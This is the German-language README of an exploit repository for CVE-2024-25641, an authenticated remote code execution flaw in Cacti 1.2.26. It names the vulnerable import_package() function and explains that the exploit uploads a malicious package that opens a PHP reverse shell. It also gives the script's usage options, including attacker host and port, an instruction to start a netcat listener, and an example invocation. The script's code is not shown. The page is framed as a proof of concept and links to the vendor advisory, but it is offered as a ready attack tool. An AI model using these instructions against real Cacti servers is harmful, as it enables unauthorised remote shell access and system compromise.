
Proof-of-Concept-Exploit für CVE-2024-25641, eine authentifizierte RCE in Cacti 1.2.26 über die Paketimport-Funktion, die die Ausführung beliebigen PHP-Codes und eine Reverse Shell ermöglicht.
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
Dieses Repository enthält einen POC (Proof of Concept) der Schwachstelle CVE-2024-25641, die die Version Cacti 1.2.26 betrifft. Diese Schwachstelle ist über die Funktion „Package Import" ausnutzbar und ermöglicht authentifizierten Benutzern mit der Berechtigung „Import Templates", beliebigen PHP-Code auf dem Webserver auszuführen. Die Schwachstelle befindet sich in der Funktion import_package(), die im Skript /lib/import.php definiert ist. Dieser Exploit verwendet eine PHP-Reverse-Shell, die ausgelöst wird, sobald das schädliche Plugin hochgeladen wird.
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
Starten Sie einen Netcat-Listener und führen Sie dann den Exploit wie folgt aus:
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>

https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
Dieses Projekt steht unter der MIT-Lizenz
Copyright © 2025, D3Ext